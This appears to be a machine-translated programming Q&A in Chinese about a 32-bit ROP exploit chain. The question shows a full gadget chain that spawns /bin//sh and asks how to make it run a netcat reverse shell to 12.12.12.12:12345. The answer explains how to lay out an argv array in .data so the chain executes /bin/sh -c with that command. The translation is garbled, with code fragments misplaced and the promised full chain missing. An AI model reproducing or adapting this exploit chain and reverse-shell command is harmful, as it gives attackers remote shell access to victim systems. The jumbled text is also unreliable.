我有一个看起来像这样的ROP小工具 -
p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80
你必须猜到它只会产生一个“/ bin // sh”。我希望它产生一个远程shell,其命令是:
rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc 12.12.12.12 12345 > /tmp/$$
任何人都可以帮我创建一个小工具来执行远程shell。我试着看这个link,但是听不懂。
答案 0 :(得分:2)
问题是您的示例代码启动/bin/sh
,这是一个命令,也没有参数。你想要做的是一个管道序列的命令。如果启动一个shell,并将整个命令作为参数传递给-c
,则可以执行该操作。因此,你真正需要的是/bin/sh -c 'rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc 12.12.12.12 12345 > /tmp/$$'
。这需要对序列进行重大修改,因为您必须构建一个参数数组。
为了保持代码简短,让我们为/bin/sh -c "echo OK"
做一个例子。
execve
系统调用需要一个由NULL
终止的指针数组来指定参数。在原始版本中,这只是存储在NULL
的{{1}},并且此地址已加载到.data + 8
以进行系统调用。数据布局如下:
ecx
现在,我们需要添加:
+0: '/bin'
+4: '//sh'
+8: NULL
请记住,+12: argv[0] = "/bin//sh"
+16: argv[1] = "-c"
+20: argv[2] = "echo OK"
+24: argv[3] = NULL
+28: "-c"
+32: 'echo'
+36: " OK"
按惯例用于程序名称。此外,我们需要在argv[0]
中传递.data+12
以进行系统调用。
整个事情可能看起来像:
ecx
要构建命令,您只需将命令拆分为4个字节的块,并根据需要重复相应的ROP块。记得最后归零。 HTH。